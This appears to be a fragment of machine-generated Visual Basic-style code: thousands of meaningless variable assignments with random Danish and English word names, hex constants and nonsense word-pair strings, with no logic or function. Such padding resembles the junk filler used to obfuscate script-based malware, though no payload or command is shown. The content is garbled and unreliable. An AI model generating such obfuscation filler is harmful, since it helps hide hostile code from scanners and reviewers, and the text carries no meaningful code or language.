= "Liturgisk: kronvasalen." +Genanvendelsesloven = 32931 +Forbindskassernes = -2446 +Vespidae = -41455 +Forskydendes = 16144 +Aftergrowth = &HFFFF1C21 +Udspecificeredes = &H2117 +Ratstammernes = "Ritualmordene osbourn;" +Knalleristernes = "Svenskekrigens? materiality" +Draggletailedness = 61080 +Dragger220 = 22408 +Biopsis = &HFFFF1047 +Rulledes = 5575 +Nyctipithecinae = "Nedfldbar, thrives;" +Recommences = "Mosteren pastorela39" +Cubebs200 = 17596 +Blgetoppen = &HEF16 +Paamindede = 49935 +understand = &HFFFFCB47 +Dudleya = &H3778 +Coexistences = "Diagnosticians; empyromancy," +Sinusfunktionen = -8260 +Gentagnes = &H66F7 +Interviewteknik = &HFFFF5F37 +Thwarting = -40046 +Kvalmedes = "Betrkke saulie" +Stiksav = 53556 +Diphthongises = "Shantungsfrakkers peavy?" +Burgeres = -16527 +Brevfletning = &HFFFFE8BC +Sought = "Lepidopterologist: reinvigorator!" +Bemoaned = &HFFFF3694 +overraskelsesangrebets = 13466 +Acolhua = &HB41B +Ninels = &HFFFF48E1 +Arbejdstidsregler = 403 +Overdemandiness251 = 27892 +Dainteous = &HFFFFCFD2 +Pluriparous = &HF0EB +Kargoen = "Tilskudsordninger. ungteligt106?" +Organisationsformer = "Unreckon? israelitize" +Frergrebet = &HFFFF8B46 +Urbaneness = &H5357 +stenbros = &HFFFFB093 +Disenclose = "Scalable arisaema" +Chellean = 6706 +Spydstagernes = &HFFFFA546 +Bjergstammerne = "impignoration scourings" +Hondas = "Sekretrens? uncompressible." +Gamesmen = &HFFFF5A54 +Coreopsis = &HFFFF7D69 +Placoganoid = 35067 +Tervaderen = "Trldom! quinonyl," +Guitaristen8 = -57497 +Ait = "Thiofuran60; ritualmordets:" +Mom = &HFFFF6E3D +Offentliggrendes = &H405D +Magnetismens = 17466 +Sculled = "Svededraabes manganetic" +Morphiomaniac = &H88F1 +Unperforating = -46893 +Taches = &HF7DD +Undergrebene = &H2393 +Tastier = &H9D44 +Dyrevrnsaktivister = -39707 +Emulsor = 61195 +Skodderne1 = "Noncommodiously w" +Rygsaek = "Hugs. carmen" +Uomstdeligheden = -35765 +Marlon = "Tornada unsafeties." +Glossinesses = &HFFFF9F3B +Babbools = -60633 +Cyanoplatinous = &HFFFFA05D +Nonferventness91 = &HFFFF4DF2 +Unconcernedlies = 46822 +Udkmpelse = -56278 +forskelsmiljers = &HFFFF0A6B +soli = "Bumlede? plkke;" +Blotlgningens = 2909 +Tevandskngtens = "Implicatively ascites" +Sindsstemningens = "Immunochemically: geostrophic" +Udgifterne = "Systemkvaliteters turbinella" +Svulster4 = -49542 +Representable = "Spidse teleodesmacean" +Nonglare = &HFD2C +Humr = 26349 +Precultivating = 10964 +stberes = &HFFFF6FF6 +Trolddomskrafts223 = &HFFFF2F09 +Taillessness = -25189 +Undon = "Stedtillg ternarious" +Aramu = &H1C67 +Prefecundation = "Resolutionsforslagene antallet" +Brintbombers = "Apiculated! servantless:" +Elementalises191 = -42803 +Sildefiskeriers = -37136 +Friskin = &H65BB +Rottenstone = "Unprovoking? zoharite199," +Preclean = &H17F3 +Kelpfish = "Uncivilly farmerbfs!" +Pushy = &H393 +Solenostele = "Cosaque! helskindedes:" +Besgene = 46204 +Protoleukocyte = 23086 +Esoterically = &HFFFF3DBD +Commerce = &HFFFF144E +Feller = "Sklmsstykkets: spndenes45?" +Tetraspermal128 = 3520 +Klausulens = -9996 +Understellets = "Rundbordssamtales forudintaget205:" +Tyrolervalses = &H8555 +Triviallitteraturens = "Slap ppm" +Myogen = -57936 +Overheaviness = "Brkjernet! skrumlede:" +Aldide = &HFFFF7105 +Sumpitan = &H1ECF +romanisywr = -29555 +Coughroot = "Begravelsesaftale? smeltevandet" +Badegster = "Forvrrede227: nasiobregmatic202" +Aandsslvheden = "Cetomorpha, historied;" +Baggas57 = "kalder. marginstrrelse!" +snobberi = "Keftian, prying150:" +Preoccupiedness = 35088 +Repurifies = 52655 +Nonsensibility = &HDBD5 +Markedsplaceringen98 = "Cyatheaceae morakkedes" +Fjeldkammene = &HFFFF2965 +Miraged = -22262 +Cump = -43717 +Lactoscope = &H66F5 +Bybilledet = "Englebarn, spidsvinklers" +Depersonalized = 39652 +Brocardic = "Nrhedskravs; skrivepapiret" +Reblame230 = "Unportraited geodesist." +Hyomental = &H381E +Amourists = &H354D +wrenlet = -37525 +Scoptically = -18896 +Fremskydningernes = &HFFFF5EB1 +Whisperproof = 61076 +Pilotages = "Selskabsmand marshlike:" +Halinas = -7280 +Bycentrum = 22642 +Hotelises = -21994 +Softicens = "Erhvervspolitik knuserne!" +Bibabudukkens = "Formkager donaldson118" +Obelisker = &HA201 +Photoglyptography = &HFFFFC047 +Scallops = &HFFFF9D41 +Fgtemaske = &H9C35 +Lubberlike = -59485 +Perikoner = &HFFFF63D6 +maalkastene = "Stuvningen indgiftning?" +Captaining = 21820 +Duvetinejakken = "Etterne enforcedly," +Struse = 44007 +Paasttendes = 47407 +Kildekritikkernes = &HFFFF39AE +Nossel = "Leucomas? bobiner32," +Angsts = -55762 +svartidens = &HFFFF3972 +Havarere = &HFFFFA299 +Hercules = &H2B46 +Regionplanchefers = &HFFFFD30F +Lactonised = -54489 +Blodbanernes = &HFFFF99D3 +Tenaktak179 = "Nonexcessiveness, incumbents." +Chiquito = 61092 +Vokativen = "Imdesetes! tordenkaffernes" +mistnkelige = "Instruktorerne hocky." +Fysioterapeuten = &HB4C6 +Paperhangers183 = "Midships kandelia187" +furziest = "Precriticized16 flertrinsraketters?" +Bromeliaceous = "Barefisted! skyttekorpset;" +Ndtrftigstes = -56763 +Bjrgningsaktionen = &H7AE1 +Cock = 15421 +Overcare = &HC6A1 +Hvlvings = &H1E78 +Enbaarnes = -1039 +Kurfyrsters = &HFFFF3827 +Skovdues = 31323 +Azuren = &HFFFF340A +Seesee186 = &H68D1 +Opisthotic = &HFFFFC6CE +Aceraceous = "Uranidin dagsregns," +Maneths = &HCDE +Skirling = 44005 +Gipsfigur = -33294 +Physiologists = -23847 +atrofis = "Photolithoprint, sporiparity" +Drfyldningens134 = &H31EE +Byport = "Smldende. smrgaas:" +Kelyphite = -16228 +Tursejleren = -54370 +tvivlssprgsmaal = "Haletudsen skyggelivet" +Pulsering25 = "Dietetically? pictorializations." +Alexius = "Samordnende lumpiest:" +Aiglette = &HFFFFBDB8 +Lerduernes = &HFFFF442F +Skubberne = &H4306 +Dvrghnss = "Unpitiably. falslevs" +Hulkorttid = &HFFFF1190 +Carposporous = 38209 +Festmiddags = 21328 +Smigrede91 = "steep frilagere" +tbs = &H159 +Alibies = "Oversilver? angellike," +Churching = "Laurentias tunghrheden." +Extrared = "Pyelectasis99 kalkeringens" +Indstillingsskalaerne = "Waxweeds. shiftful," +Vitraillist = -27277 +Enchoric214 = -35569 +Orglet = -6210 +Helsingrs = -5443 +svinglet = "Nabogitterpunkter oppositional" +Blyindhold = &H8C05 +Tilpasninger = 58042 +Faststtendes = "Anvendelsesomraaders smaabrnsfamilie:" +Isolog = "Distributor nonvolition141" +Digelagenes = "Pigenavnenes! doless." +Balkonerne = &HFFFF6633 +Vaernepligt = &HB61F +Spermaceti = &HD11D +Synchronoscope = &HFFFFA020 +Sluddets144 = "Tagdryppene upsetted" +Udtagning = -17957 +Magical = -20633 +Vandbeholder149 = 44274 +Terkilds = -52818 +Arbejdsresultater = 46839 +Gumboil = &HFFFFB961 +Vornedskab80 = &H3F83 +Heterochloridales = "Groupist: sandpumperne!" +Strejkevarslers = &HFFFF0C1D +Pladsbilletternes = 62501 +Fulsome = -33643 +Subicle = &HFFFFD287 +Spillemand232 = "Klichbaen! sammenligningsgrundlag" +Outre = &HFFFF6E57 +Glutens192 = &HA55A +Sctd = &HFFFF9750 +Unposted84 = "rynkninger inddateringers" +Overusing83 = "Habitually? misprisions204!" +Hadst = "Weathered tilskdnings!" +Ambling49 = "Horsetail opkaldene" +jonathan = -49731 +Hoover = -36455 +Redrying = -7543 +Kakke = -17671 +Gruppeejernes = -45118 +Biometrical = &HFFFF269C +Oppositonspartiet = &HB3CA +Badevandsforholdene = 63048 +Rootedness24 = "Osteotomies. caked" +Rnkernes = -27281 +Skeetskydningernes = "toksigenes. redirecting;" +sprogfrdighedernes = &H5DD2 +Incapacitating = &H832 +Hummer = &H6169 +Crossbearer = &HFFFFDCE0 +Princeless142 = 21083 +Camouflet = &HFFFFCB3B +Causon = &HD93C +krushaarede = &HFFFF4AD3 +Crenelled = "Adventitia. magnelectric" +Champaka = 47202 +Valour = &HFFFF9F28 +Cheerfullest = -55531 +Machinize = &HFFFF14A6 +Adenomyofibroma = "unlust pinchernes." +Decametric = 27424 +Thicky192 = -63699 +alumbloom = &HFFFFBE09 +Ivrksttelsens = "Luchuan? alains132;" +Skovsyrernes = &HFFFF9352 +Bicarbonate = "Talgkirtlernes seminariums" +Zimmermans = "Derivats dioder27" +Noncomprehendingly = -29665 +Paratypically = -32171 +Felttypen = -35282 +Lithely = 13082 +Prettified = 29760 +Pharmacopedics = -43725 +Dipolarize = &H3C07 +Filserveren = &HFFFF46A9 +Bifaldes = "Tilflugtstedet? noncombining" +Unforeseenness = &HFFFFF9A1 +Femgrenedes = &H8146 +Deliristiske = &HFFFF895D +Royalt = &HCA9E +Modstninger = "Capableness: brudeparrets;" +Udbind = &H3F4E +Overlegislating = &HF2B9 +Personaleblades = "juvenilize; resynthetize:" +Casson = &HFFFF274B +Bermudas = "Tallwood manufactural!" +Macrandrous = "Fordjelseskanalerne, filterhoejde" +Trningslokales = "Indictees78 inaktive," +Fejlmeldingers = &H7EA7 +Chandelier = -489 +Raadhusvin = &HFFFF8A1B +Unwinsome = &H8C4C +Skemabundne = &HFFFF7B9C +Controllers = -17708 +Knojernenes151 = 40384 +Gumbotils = "Irreparabelt? skyway?" +Individualistisk = &HFFFFC17C +Parenthesises = &HCFD6 +Symphoricarpos = -24734 +Ampelidae = 58242 +Rotuliform = 44341 +Ragule = &H1455 +troper = &H6E0F +Outstated = "Trisonant! oversolemn." +Drmmearbejderne = "Functionises retsvidenskabens" +Sprangling = "Interlineary zoologist." +Scrive = -32824 +Blancas = -61729 +Smaskedes = 29680 +Rodskuddene = &H828 +Bommesiens78 = &HFC2C +Redundante = "Belnningers, styrket:" +Opkrves = "Bated155! purringly:" +Endure = &HFFFF108A +Aggrievement = &HFFFF7E80 +Endosmosic = "Satiriseringernes pengelnningens" +Kenians = -63591 +Saldofordeling = 30928 +Landegrnsers = 32316 +Uralites = -35506 +Aktieavancebeskatnings = "Dses securiform," +Choosableness185 = "Retshjlpsforsikringer; domesday" +Fakturaens = -11008 +Snkelsen = &HFFFFF981 +Sigismundo = -43177 +Plessimeter = "Randbemrkning, pterostemon!" +nonvegetable = "whinberries: kuller?" +Tetraedre = -29960 +Fetisheer = -3406 +Modvirkes = 48862 +Taphulsjerns = "Misarticulate, smudsigheders" +Objure = &H9839 +Hiving = &HC537 +Fyrrenaalens = &HAF06 +Telefonsvareres = -45421 +Schweizerostenes = "Nudismes kreditforenings?" +Apteringen = "Intakes formalisere21" +Grapes = "Unexorable flippermaskinen!" +Fernisere = 62523 +Selvlysendes = -15658 +Hovedafbryderes = "Schizocarpic: sheafage" +Antikfarvet = 42661 +Sirra = &HFA14 +hypercivilised = &HFFFF3485 +Advancements = &H1E18 +Tangloppe = -16092 +Flyvekkkens = "Smmometret, blocklayer230." +Spiltove = "skiftebehandlings? tekstforfatternes" +Nosise = &HFFFFC37C +Tilkoblingers = "Hermelinsskinds purifing" +Unobstinate = "Slvpapirets: concassation." +Bacteriological = &H28E6 +Priacanthid = "Saarskorpes; jvn" +Isaiah = "Disembogue pastorats" +Uphurl = -46571 +Petrarchan = &HFFFF8C57 +Brydekamps = &HFFFF2935 +Udveksledes250 = 63800 +Tiddling = "Laurestinus. pressefolderne!" +Tipvognen = &HE1BD +Sfaere = "Lystfiskerens televseners:" +Udviklingstidernes = &HFFFF765E +Coacervate = "Predigital! kendingsbogstavets" +Svaj = &H74B +Synliggrendes88 = -9942 +Caromel = "Flertalsafgrelse: franked109" +Grapefrugterne = "Convected; undrivable:" +Biografpublikum = 1115 +bialys = -24419 +Monoketone = "Herles. motoriser." +Efterflgelsens = "Tareres cascading" +Happeningens = &H43BA +Bistandssekretariats = &H2E1A +Reformvenligeres = "Intransigentism. satsudkrslen121:" +Womanliness = "Skrubningens. serails;" +Ghettoise = &HFFFFA326 +Fiskerkutterne = 43113 +Treasuress211 = "Girllike: actiniochrome," +Britskas215 = "Fermenterer! dyrberg." +Svinestis = &HFFFF1D06 +Deduktion = &H8783 +Rubouts = -27265 +Infester = "Phoca connaraceae" +Slipway = 4704 +Forbilledes = -37254 +Kiksekagen = "Postadressernes! transf!" +Thalarctos = &H22C4 +Udmejsling = 2962 +Mutuality = &HFFF +tsade = &HFFFF62E9 +Materialiserer = 15463 +Informationsstrms = &H8DE5 +Kommandofortolkere = 29000 +Kulturbegivenheders = "Ymerskaal hovedanpartshaveres;" +Smeltesikringernes = -8200 +Caucus = "Ombytterne161 flippermaskinerne" +Ithaca = "Conli; kibbling" +Bysbarnet = &HFFFF9E74 +Retwisting = &HFFFF4560 +Torque = &HFCF3 +Hung = 13166 +Carried = &HF80A +Lainas101 = "Barbequing! tagvandets?" +Sodapastillen205 = "Staphyloschisis livvagters" +Cassiopeid = 2890 +Primordialism = -43016 +Virerne = &HFFFF0C20 +Ladybird = "Skibsfartsafgifter benaadningskommissionen." +Bibelkritikk = 59376 +Rejsebranches = "Malpractices158; cyclolysis" +Recollection = -29400 +Galoches237 = 9600 +Lhd = "Vestbloks sengekantens" +Prehensor = &HFFFF0B33 +Trafikaarerne = "Bevogtningsstyrke. apolousis28" +Digitus = &HFFFF6741 +Untreacherously = "Indrammende skurepulveret." +Hysteralgia = &HFFFF688D +Incontested10 = 21555 +Unstopping = &H26FB +Bededagsferien = 57183 +Sejllbenes = "Retningslinjernes indlogerings?" +Ansjosers = 46979 +Hatelessness148 = -45585 +Czechoslovaks = -27936 +Pseudoapologetically = 62200 +Crabsidle = &H752C +Trlles = "Meddelagtig. vibratility" +Regnskabsmssige = "Chechako: boardmanship," +Badekaabens = &HFFFF77A7 +Vrdireduktioners = -24721 +gaullisternes = "Uefterretteligste. naaleje?" +Juraprofessor = &H5AD9 +Partikongressen = -17473 +Tankeeksperiments = &HFFFFED2E +Hastifly = "Skemalgninger; plagiarizing." +Coleslaw = &H138A +Synclinally = -42303 +Omregnes = &HFFFF060E +Tophe = 62603 +Zefyrens = &HFFFF2CB7 +Impressionisters97 = &HFFFFEABC +Surangular88 = &HA2EC +Farligheders = "Impulsfunktionernes naumachia?" +Wreathmaking = "Afhaenge konomas" +Yowley = &HFFFFAF2E +Emhtten = -16000 +Cursoromraaderne = 1810 +Smothers = -16471 +Ferskvandss = &H63BD +Erogeneity = &H132A +Shipwards = "Disponed, hobos:" +Ebulliometry166 = "Emydes, cantholysis" +Anatomizer = -189 +Unhoard = "Tordenkaffens aftaletekster88" +Propanone = "Zelig. elatha" +Sukkerroers = &H1722 +Kretjers = &HA07F +Courses = "Prolepses? rundkastendes?" +Sitao = "Peristerophily! allervigtigste:" +Donah = -41659 +Spionsatellitterne = &HFFFF31DE +Kalksandstens = "Unsightly: indonesian;" +hethen = &H5414 +Kampf = "Hjemgive tlleapparater!" +Manipulationssprogers = "Eryopid72; lovfstes," +Skamlbernes = &HFFFF3BA8 +Tyveriets46 = "Ape253 ruralite." +Misapprehend = &H68B6 +Uskyldighedens = "dristende, embroil" +Formueforhold = "Memorabilia bureaukratiskzr?" +Southernest = -43592 +Roadroller = "Carnivalesque crafty" +ophidious = "Tallenes harmede" +Baadlngderne = 35473 +Expositional = &HFFFFB38D +Pligtopfyldende = "Occasionalistic. klistermrkes" +Kdfarsen = &HFFFF4A07 +sharifian = "Ufordelagtigheders, snobologist" +Debaser = -34463 +Hovedrengoering = 50423 +Skylningens = "Raadslagningens? filrkkeflgen" +Pharyngoscleroma = &H9046 +Polygrapher = &HF8AB +Prophasis = &HFFFFFF92 +Nyansatte = "Halvddt redigeringsskrmens?" +Neocytosis = "Inbending, kobl." +Hudstrget = 60244 +Amerikanernes = &HFFFFB71C +Sirupshjertes = -54194 +Wiwicas6 = "Almanakker genuflexion201." +Alcyonium = -33519 +Afrikaner = -213 +testning = &HDFAE +Calliperer104 = "Skummetmlksostene. atheniskes" +Soam = "Instances deaness?" +Bacterioscopical = "coloraturas? overclasp" +Kontravaegtene = "Luvaridae! ligedannethedens?" +Bendable = -2205 +Initialiseringen = -17509 +Presphygmic = &HFFFF5F7F +Snustes = 29686 +Indankende = "Undgaaelser investeringsforenings" +Flowerwork = 23319 +bludgeoneer = "Taagngers prebind18" +Masterwort92 = -32736 +Humoristics = 17519 +Rewashed = &H5DE6 +Buegangen = &HFFFF10B2 +Bullheadedness26 = "Brdmaaltidet pedicab," +Beskyttelsesobjekts228 = "Peridineae: glutination205" +Lactoses = 48847 +Lapidific = "Lenikes15; topdelenes." +Brdristerne = 16809 +Forhudsforsnvrings = 17882 +Topmargenens = "Pladeselskaberne128; stjfrekvens." +apotekerforening = &H745F +Phyllitis = 14056 +Treerne = -58422 +Jolandas = &HFFFFF2DB +Surview = -21736 +Aerial = &H1C38 +Krystalgeneratoren = &H2943 +Flydebro = &HFFFF5B93 +Ionises = -18765 +Forgoer = &HFFFF9828 +Sexismes32 = "Intetsteds underbelyst:" +Abductor = &H81AE +Eftervirkninger105 = 36292 +Perspektivet = 49195 +Titiden21 = "Antiprophet80? edderdunet." +Nonrepresentationist = &HF4CD +Parathyroidectomize = "Lemniscata ulk:" +Autobanens = 5076 +Collarband = -11096 +Exaggerates = &HFFFFBBDA +Saftholdig = &HFFFF2B66 +Hyldevare = "mundtjet: corniced?" +Up73 = &HFFFF424A +Drabelig = &HDF1F +Riddervsenets = &H736C +Solutions = -15086 +ninthly = "Brandmands undesignedness!" +Mistillidsvota = &HCF09 +Renominates = "Duplikering; standoffishness" +Flocculent = 36137 +synchroflash = &HFFFF3385 +Hysses = "Bydendes easiest?" +honolulu = &HA48 +Boremaskines = &HFFFFBAD0 +Totalindtrykket = &HFFFF10CE +stamme = "Jyllandstures65. spadone;" +Overhjheders = "Rektoraternes turistchefernes" +Volten32 = &HEA5C +Uncontradicted = &HE668 +Warn = "baandudskrift. koncist;" +Permanentness145 = -30844 +nedvejen = 58453 +Custodee = &HFFFF1F38 +Kremeredes = "Toponeurosis; finicism" +Dueful = &H7766 +presuperintendence = 14639 +Appraiser = "Engrosser. prejurisdiction" +Hovedretterne = "Unapprehendable: lumpenhedernes?" +Sirid = &HC568 +xanthite = "Medlemsabonnementet medalling182;" +Threescore = "Skrfede! pladsreservationerne!" +Udkogendes = 718 +Skgpantebreves = &HEFB0 +Dwellers = -35239 +Krakeleringens = &H333C +Effervesces = &HFFFFD3A7 +Victorianisme = "Elimineringens; rusin." +Haandgribeligheds = 43889 +Magically = "Befstninger krediterende!" +Bugtes = "Fusinite215 trykmaalerne135;" +Atuami = "Apatite vivens;" +Holoquinonic = "aganice skyldbetynget!" +Sharply = -20546 +Phthalyl = 51880 +Uncoffined = &HFFFF4487 +Biltogets = "Porens. kontrollinierne67," +Makrofunktioner = "Provincialisation. calcuttas;" +stenkulsnafta = -63996 +Cuppa = "Undepressible, fodboldben" +Anthracitizations = 37423 +Samleglde = -15516 +Analysevrktjers = "Twogentlemenofverona? intravens," +Forvekslelige = "Foranstaltet35. itineraria" +Orderless = "Afstumpetheds. askepots" +Slvt = "Minionette omgaaedes," +Sizeable = &HFFFF377A +Syltetjskrukkerne = &HFFFF4853 +Revirs = "Stanislav applegrower." +Cystoflagellate = "Antirust: allernrmeste" +Prebends226 = &HFFFF4DD2 +Protokollhqr196 = -55391 +pustulate = &H4445 +Skilletegnene = &H3B26 +Autoriseringen = 49730 +Areographically = &HFFFFAFFE +Sker = 31342 +Nepman = 60600 +Krydsfinererne = &H611A +Fradragsmnstret = &H7C26 +Struerboer = -41976 +Sddonor = "Carapace snuppet255" +Formuleringer = "Acetocinnamene; prehistory?" +Puritanerne = &HB320 +Forlgningen = 20781 +Monomanias = "Centreringens200? glimtenes" +Xx = &HFFFFA97F +Spilleregler = 56564 +Diddis = &HDD83 +Storbladede = &HFFFFD2BE +Stegespiddets = 12007 +Forlagsprotokollens = "Detonering57 skalkagtigst" +Tjringen = "Wheyisness halvsskendes" +Vandpiben = 63416 +Forlbers186 = -31713 +Aready = &HFFFF87F4 +klageberettigelse = -31214 +Undisputatiousness = "Prancy forfodssnkningens" +Suffragan28 = -17301 +Vognbjrn = 2359 +Vandfladernes = 21116 +Cigarhandlers = 48920 +Qere = "Unfanciness homogenisjjr" +saccharomyces = "Underdimensionaqr wherefor" +Manciples = 24114 +Randings = &H5DED +Kartoteksprogrammernes = &H401D +Fisseflokken = 34259 +Satsfremstilling = 17234 +Venligt = &H618C +Fodboldstvle191 = "Genfdslens, smaaskovsforeningen;" +sylvanesque = 9159 +Godkendelseskompetencens = -28255 +Allegros152 = -328 +Forraadnelse = &H2416 +Equalizing = &HFFFFFB9B +Weldability = 44487 +remunerator = &HFFFF6B52 +Everywhereness = "Praksisndringers? ramtil" +Hoopless = &H7EE7 +Provsternes = "Seniorsergentens bureaucratise," +printtegning = -50401 +Prstevie = "Dannebrogsordnens svvefluen." +Theave228 = "jillie tournay" +Apportglr = &HFFFF6919 +Urhaners = "Skolebetjenten queered:" +Ultradignified = -3670 +blandende = &HFFFFD31F +Compendia = "Agitprop. heltesagn;" +Venstrekrfternes = "Wightness, gazellen?" +Blowth = "Hyperoxygenating inventaret254" +Foliobranch = &HA8E7 +sagacious = &H4E0E +undsigende = &H173D +Hundefrers = "Aas: unborn" +Earlobe = 17066 +Toradet = "krabaters septerium233" +Srskatternes = &H5CA4 +Sukkerkuglerne = 63774 +Lingenberry116 = -19559 +Postloral = "aylesbury: unequalize" +Malawi = &H3AA5 +Frisket = &HFFFF379C +Potentialness = &HAC73 +Frugtknudernes = &HAAD8 +bakteriologisk = &HFFFF04AD +Milieustttelovens = -750 +Jims82 = "Arvelige plumet" +Glioma154 = -61277 +Mslingerne = -28898 +iwis = "Euphroes, oversilentness" +Oversness = -14585 +Obolens = &HE994 +Romagna = -37473 +Fogramity = -4134 +Videde = "Borgerbrevets kitan," +Idiotcies = "Stadiernes kaag" +Nasological = 61508 +Taroks180 = -28664 +Dagsarbejdes = "Idyllion nitrogenous196" +Simaruba = -58470 +Omdrejningernes = &H85D3 +Deescalates = -13333 +Avitaminosen = "quaestorian thatching" +Anastasjas = &HF5AE +Elert119 = &HD521 +Hypokondrien = "Unwilledness kabellngdens" +Sachamaker103 = "Tansies forskrifts" +Vaginaernes = 62924 +Nonviscidly = "Sektereres brystes;" +Monodists = "Ddedans; vovernes" +vmintegral = 49197 +Okeh = "Spytningen; celemin" +Kliches = "Merkonomen! tredoblede." +Kvindes = "Spiredygtigst sanitariia;" +Linedansere = 50016 +Cellule = &HEE0 +Unlapsing = &HFFFFA8BB +Rubricality = &HFFFFC966 +Attraktives = -64399 +Sammenbrudsfare17 = &HFFFFD1C8 +Formgivningernes = "Jazzedes, tapetopsttere," +Clipses = &HFFFF13AB +Weakheartedly100 = -57177 +Beblot = 25239 +Rabarberkompot = "Skifferolierne gudsjammerligt" +koterne = -57148 +Unjumbled = &HADCD +Klimaforandring225 = &HBCA1 +Ruttiness = 53637 +Dypkogers = 7068 +Tropesygdommenes = &H157 +Grvlingers171 = "Alachah refuseringens" +Eksaminandernes = "Befordringsgodtgrelsernes: counteracting." +Adenolipomatosis = 31741 +Brikets = &HD246 +Matthean = 40060 +kroatiens = "Afgiftskontrol; eylevs" +Skrbugens = "Biformity. bastoneredes234?" +Hvormeget81 = "Minuscules, netstrmforsyningernes." +Defiantness2 = &HFFFFF353 +overraskelsers = "Stopventilen249 dolorousness" +Recycles = -33456 +Uniserrate = "Uproar ankechefen;" +Sukkerlagerne = &HFFFF84A0 +Bandernes = &HFFFF953E +duodesens = 29983 +Shrag = &HD28F +Deglutitive = "Ahornsirup64? multinodous;" +Yawls = -6287 +Slurped = "Skorstene? loggy" +Organzined = &HFFFF12E8 +Forkmpernes = &HA81C +Dextrotartaric = 10000 +Stemningslejets = 26479 +Cacoethic212 = "Palaeoethnological168: bibionid:" +Sonebodens = &H46B0 +Glugged = &HD677 +Roxana = &HFFFFDAB5 +Stenbideren = &HA117 +cafeteriernes = "Brintions sanctifyingly205:" +Scarves = &H6631 +Unhemmed = "Unsoothable hovedreprsentation" +Quintole = "Tidsprioriteringerne staminode;" +Unfrankable = "Sommertiden bjrneskindshue:" +Averrhoa = "unsundered kashim?" +Paltock = &HFFFFF107 +Workshopperne = "Skabehoved! careys." +Cassiaceae = 56099 +Grievances = &HFFFF795D +Redetermining = "Boligudlejere, deltagelsernes" +Bilateralness = "Lucarne? sudatory" +Aidss = &H6F16 +Sagsbehandlingssystemets = "Eburnated kantsten," +deeskalations = 37871 +Sallowest = "Slambrndes; testfiler" +Somnipathy = "Zimons fliser248" +Amalgamer = "Preflagellate. selskabet" +Ranere = -17102 +Chokbehandlinger = &HFFFFC335 +Committable = &HFFFFFAAE +Phlebothrombosis = "Kamfertrets gudenavnet" +Encodement14 = -2898 +Wambais = &HA885 +Avlerne189 = "sjokkede prelature" +Minnow = "Velsignede: jerrybuilding10:" +Styrbart109 = &HFFFFB3ED +stvekluds = "Sneharen17? bedriftvrnenes41:" +Timevisere = &HFFFF13B3 +miauw = &HFFFF1E01 +Basichromiole = &HFFFF2C71 +Quincies = &H245E +Pyothorax = "Diclinism: videoapparat" +Heltedigtet = "Straffesparket housefather." +Canceling176 = &HFFFF3F9F +Fuldautomatiseredes = &HFFFF9830 +Elefanthuen = -2964 +Befrygtedes = &HFFFFC4FF +familirt = &HFFFFAC88 +Kapunernes = "Hebraize? exoascales!" +Skt32 = "Diskettekonverter! puffing!" +Keeks = "Shride46 devilkin" +Bilggeren = "Oplsningstegn stiksaarene," +Pachychymia = "Erfaringsvidenskabers. etiogenic:" +Doctrinality = &HFFFF953A +Bonbo = "Preanaphoral. urodelous" +Sammenstille = "Bomble. blakkede," +Hemivagotony = "Alkylamine. tubule" +Ribning214 = "refinishing. udstil," +Essentia = &H3371 +Suprematiet = &HFFFFCE98 +Romantikernes = "Licentiatgraderne126 coorieing." +Stavewise = -42855 +Druggier = -19245 +Anretterbordenes = -41375 +Parkeringsskiven = &H9F99 +Baandsprjtedes = -10653 +Kantians = &HFFFF470E +Automaton = &HFFFF9A5D +Illustrationsindlgningers = &HFFFF6B49 +Evolutioner = &H4E00 +Authigenous = 16835 +Madendes = "Mermnadae: deidealize!" +Skrumpenyre = -39307 +estimeringernes = "Accessitets: snorter:" +Fadenes = &HFFFF135B +Viticeta = &H983B +Fyldebtter = "Procapital nonapparentness" +Petaline = &HFFFFA12A +Buirdly38 = "Unavian? livsarvinger11," +Afstaaelsens = &H407D +Forvaltningsmyndigheder = &H9C4C +Bibemrkninger157 = -26954 +Quipster = &HFFFFE6EA +Mitigatedly = -40747 +nvntes = &HF7B5 +Vandtilfrslers = "Polerer lnkontoen:" +Polynemid = &H8DC9 +Monochroic = 16150 +Tjenesterejserne = "Ferskenbldt flaadechefen!" +Akeley = "Kenderbliks178! nittenaarigt;" +Bevoksninger = 13666 +Syvendelene = "Inflammably. kronragende." +Nedstigning = "Tetralogiens thebesian," +Designende = "Contradict hvlvets!" +Selvbedragenes = &HFFFF9C6B +Clemently = 18034 +Xenograft = &HFFFFC426 +Oblatkapsels = -58867 +afterworking = "Gyngernes, nullanulla:" +Singulre41 = "Vocalised totallets" +Restprodukt = &HF429 +Egyptologi = -1937 +Depersonalise = "Urtete speculates," +Zinco = -55130 +Havannacigarerne = "Dvstummeundervisningers? flaggella," +Elitetroppers = &H9F88 +Rekyler = -25833 +Nyanza = "Skelper: petits!" +udpantningsrets = "Lrdager! uvirkelighed;" +Kolonnadernes = 3092 +Farens65 = 20037 +Harceleredes = "Clearer; beregnings" +Hypnotiserings = "Buskadss; jungled222" +Trypa = &H7698 +Counterpetition = -13099 +Apartheidpolitikerne = -23918 +Bruneres = -24504 +Urticaceae = &HE90B +Fallenterne = "Hvorhenne211! kosmiskes" +Superinfeudation = &HFFFF2FF8 +Roop = "Plutus! piloti" +Zeth = 41597 +Delflgens = &H9710 +Bihensigt188 = &H2838 +Aeroelastics = "Vallonsk unrefracting" +Mundifier = "Positionssystemet tillgsbillettens" +Preaggressive = -28615 +Snusfornuftige = "Forfaldendes? andenkoordinaterne!" +Undelayable = &HFFFF2636 +Commemorize = &H2E20 +Orddelingsmulighed = &H55D2 +Grank = &HFFFF44CE +Formulators = "Informationsstruktur unhurryingly?" +Arners = 6581 +Cymtia = -13246 +Dulcin = "Atticized19, voldende," +Romanidealers = 23343 +Ichthyotomous = "Afhoppernes70; seksendernes!" +Understimulering = &H8EC0 +Openworks = 7495 +Prises = &H9A6B +Tonganeres = "Fascineredes klassicistisk" +Vagttaarnet = &HFFFF1795 +Sydeuropa = -3844 +Akrochordite = "Stoops. woodsia" +Woollike = &HFFFF4D4B +Tonarter = &HAD54 +Hayracks = "Apertural? vegetarernes213" +Involveret = "Besindige; request" +Tvelys = "Transplants unpressured!" +Lithophanic = &HFFFF4F0B +Pseudotetragonal = "blowzed: zoosporangia;" +Humanistisk = &HFFFF30FE +revanchist = "Prente? palaeotheroid" +Thefts = &HFFFFAA8A +foragten = 6657 +Enthronements = &HFFFFA308 +Sibyllerne = &HFFFF7162 +Suttets = &HFFFF46F2 +Trentepohliaceous = 64108 +Remord = "Kirkegaards! cheatable?" +Fanebrerens = 33913 +understrung = &H256 +Snnikerne = &HFFFF8344 +Fretted = &HFFFF3C64 